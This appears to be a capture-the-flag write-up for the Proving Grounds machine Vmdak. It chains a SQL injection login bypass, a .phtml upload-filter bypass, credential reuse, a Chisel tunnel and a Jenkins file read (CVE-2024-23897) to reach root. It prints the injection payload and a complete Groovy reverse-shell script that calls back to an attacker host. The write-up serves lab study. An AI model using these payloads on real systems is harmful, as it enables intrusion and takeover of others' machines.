Vmdak Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 4 min read
Vmdak exposes a Prison Management System vulnerable to a SQL injection authentication bypass, chained with a filtered file upload to get a www-data shell. Application data leaks a database password reused for a system account, and an internally-bound Jenkins is tunneled out and exploited with an unauthenticated file read and the Script Console for root.
Reconnaissance
Nmap
Scan the target.
PORT STATE SERVICE VERSION 21/tcp open ftp vsFTPd 3.0.5 (anonymous login allowed) 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 80/tcp open http Apache 2.4.58 (Ubuntu default page) 9443/tcp open ssl/http Apache 2.4.58 (Prison Management System, cert CN: vmdak.local)
Explain command
| -p- | Scan all 65535 TCP ports. |
| -sCV | Run the default scripts and probe service versions. |
Anonymous FTP is allowed. Check it before touching the web apps.
Anonymous FTP
Log in and grab anything available.
Name: anonymous 230 Login successful.
config.xml is a Jenkins configuration file. It reveals the Jenkins version (2.401.2), the path to the initial admin password, and that the security realm has signup disabled, confirming an internal Jenkins instance exists on the host.
Exploitation
SQL injection authentication bypass (CVE-2024-33288)
Port 9443 runs a Prison Management System with a login at /Admin/, vulnerable to CVE-2024-33288, an unsanitized login query.
Username: admin' or '1'='1
Password: 123456
This bypasses authentication and lands on the admin dashboard. Browsing Leave Management surfaces a note left in a leave request.
Leave ID 2023399 - Reason: Dont forget the password: $MALCOM_PASSWORD - Staff: Malcom
The credential Malcom:$MALCOM_PASSWORD doesn’t work over SSH, suggesting it belongs to the application or its database instead. Move on to User Management → Add Admin, which has an image upload field.
Upload filter bypass to RCE
The upload field filters by extension client-side. Prepare a PHP reverse shell under an alternate extension.
Submit the add-admin form with shell.phtml as the image, intercept the request in Burp Suite, and force the Content-Type header to image/jpeg before forwarding. .phtml is not blocked by the server-side filter and Apache still executes it as PHP.
www-data@vmdak:/var/www/html$ id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell as www-data. Pull database credentials out of the application config.
Lateral movement via database credential reuse
Search for credentials in the web root.
$DB_USER = 'root'; $DB_PASS = '$VMDAK_PASSWORD';
Connect to MySQL and pull the application’s user table, which holds the password for the vmdak system account.
<snip>
vmdak@vmdak:~$ id uid=1000(vmdak) gid=1000(vmdak) groups=1000(vmdak)
The database password is reused for the vmdak system account, giving SSH access and local.txt.
Privilege Escalation
Jenkins via port forwarding and CVE-2024-23897
Check for internally bound services.
127.0.0.1:8080 LISTEN (jenkins)
Jenkins is only reachable from localhost. Tunnel it out with Chisel.
Explain command
| --reverse | Allow the client to request remote port forwards back to the server. |
Jenkins is now reachable at http://127.0.0.1:8080 locally. The version from config.xml (2.401.2) is vulnerable to CVE-2024-23897, an unauthenticated arbitrary file read through the Jenkins CLI argument parser’s @ file-inclusion syntax.
ERROR: <contents of initialAdminPassword leaked in the error output>
The error output leaks the Jenkins admin password. Log in and open Manage Jenkins → Script Console to run Groovy.
String host="$ATTACKER_IP";
int port=$ATTACKER_PORT;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exception e){}};p.destroy();s.close();
id uid=0(root) gid=0(root) groups=0(root)
The Script Console runs as root, giving a root shell.
Related
References
-
SQL injection authentication bypass in a Prison Management System login.
-
Jenkins CLI unauthenticated arbitrary file read via the @ argument-file parser.